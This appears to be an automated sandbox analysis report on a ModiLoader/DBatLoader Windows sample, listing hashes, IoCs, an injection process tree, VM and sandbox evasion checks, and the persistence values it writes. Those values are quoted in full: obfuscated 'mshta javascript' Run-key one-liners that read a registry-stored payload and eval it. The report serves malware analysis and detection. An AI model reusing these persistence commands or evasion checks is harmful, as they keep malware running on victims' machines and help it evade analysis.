Analysis
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max time kernel
157s -
max time network
164s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
04-10-2022 03:00
Static task
static1
Behavioral task
behavioral1
Sample
14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe
Resource
win7-20220901-en
windows7-x64
16 signatures
150 seconds
Behavioral task
behavioral2
Sample
14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe
Resource
win10v2004-20220812-en
windows10-2004-x64
15 signatures
150 seconds
General
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Target
14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe
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Size
300KB
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MD5
032b7a2ea4addf81a17a7e8799bee010
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SHA1
0a317ccad245f81570457f95c29624ea89c6f13c
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SHA256
14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e
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SHA512
464dde027f21dac7b0a320aba707c60a9a37a18e11b6a461a1401a69d0b83da8d66bf31559b8995b0ff15305030296730dde90d9caeaf1d5fd5bd14439d2a367
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SSDEEP
6144:78CHhk/FgGKz+32T4Ah1p5R+u4apm5mSrD3usiue6fh+S:78CHG/qVz+32Th73yxDsLS
Score
10/10
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions dllhost.exe -
ModiLoader Second Stage 13 IoCs
resource yara_rule behavioral2/memory/4816-134-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral2/memory/4816-136-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral2/memory/4816-137-0x0000000000400000-0x0000000000436000-memory.dmp modiloader_stage2 behavioral2/memory/4816-138-0x000000000DD70000-0x000000000DE34000-memory.dmp modiloader_stage2 behavioral2/memory/1664-141-0x0000000000E00000-0x0000000000EC4000-memory.dmp modiloader_stage2 behavioral2/memory/4816-142-0x000000000DD70000-0x000000000DE34000-memory.dmp modiloader_stage2 behavioral2/memory/1664-144-0x0000000000E00000-0x0000000000EC4000-memory.dmp modiloader_stage2 behavioral2/memory/2428-146-0x0000000000840000-0x0000000000904000-memory.dmp modiloader_stage2 behavioral2/memory/2336-149-0x0000000000C00000-0x0000000000CC4000-memory.dmp modiloader_stage2 behavioral2/memory/2428-151-0x0000000000840000-0x0000000000904000-memory.dmp modiloader_stage2 behavioral2/memory/8-153-0x00000000010F0000-0x00000000011B4000-memory.dmp modiloader_stage2 behavioral2/memory/8-154-0x00000000010F0000-0x00000000011B4000-memory.dmp modiloader_stage2 behavioral2/memory/2336-155-0x0000000000C00000-0x0000000000CC4000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run dllhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:WAbqCc05Z=\"NWKBmmuz\";B15h=new%20ActiveXObject(\"WScript.Shell\");KNXpED3gf4=\"4p6xM0z\";CwUM57=B15h.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\e6383525\\\\753e5a24\");Hc2odHdB=\"fwqrGMY0r\";eval(CwUM57);q22vnXeD=\"Bx3xS\";" dllhost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools dllhost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion dllhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion dllhost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:sy08SuRNkb=\"uRy4bDc\";i60V=new%20ActiveXObject(\"WScript.Shell\");hBACe1L=\"LkJSWbI\";GCX1p=i60V.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\e6383525\\\\753e5a24\");hMW8g9Mu=\"RLdIMh\";eval(GCX1p);C7DXaBsP=\"3mFwTle9S4\";" dllhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:LtElwsf29v=\"keLMtD\";Mz7=new%20ActiveXObject(\"WScript.Shell\");w1FWusmyd4=\"e5\";tiV1L1=Mz7.RegRead(\"HKCU\\\\software\\\\e6383525\\\\753e5a24\");DBkm7sk=\"8N5\";eval(tiV1L1);g7td3WbC=\"GaCpPB13\";" dllhost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum dllhost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 dllhost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2908 set thread context of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\International dllhost.exe Key created \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Key created \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
pid Process 4816 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 4816 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 4816 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 1664 dllhost.exe 1664 dllhost.exe 1664 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe 2428 dllhost.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2908 wrote to memory of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 PID 2908 wrote to memory of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 PID 2908 wrote to memory of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 PID 2908 wrote to memory of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 PID 2908 wrote to memory of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 PID 2908 wrote to memory of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 PID 2908 wrote to memory of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 PID 2908 wrote to memory of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 PID 2908 wrote to memory of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 PID 2908 wrote to memory of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 PID 2908 wrote to memory of 4816 2908 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 82 PID 4816 wrote to memory of 1664 4816 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 83 PID 4816 wrote to memory of 1664 4816 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 83 PID 4816 wrote to memory of 1664 4816 14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe 83 PID 1664 wrote to memory of 2428 1664 dllhost.exe 84 PID 1664 wrote to memory of 2428 1664 dllhost.exe 84 PID 1664 wrote to memory of 2428 1664 dllhost.exe 84 PID 2428 wrote to memory of 2336 2428 dllhost.exe 90 PID 2428 wrote to memory of 2336 2428 dllhost.exe 90 PID 2428 wrote to memory of 2336 2428 dllhost.exe 90 PID 2428 wrote to memory of 8 2428 dllhost.exe 92 PID 2428 wrote to memory of 8 2428 dllhost.exe 92 PID 2428 wrote to memory of 8 2428 dllhost.exe 92
Processes
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C:\Users\Admin\AppData\Local\Temp\14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe"C:\Users\Admin\AppData\Local\Temp\14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Users\Admin\AppData\Local\Temp\14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe"C:\Users\Admin\AppData\Local\Temp\14235183a3869bb39655581f8ae6976b8334e97c9d508855ee40ef9b326e638e.exe"2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4816 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe3⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe4⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"5⤵PID:2336
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C:\Windows\SysWOW64\explorer.exeexplorer.exe5⤵PID:8
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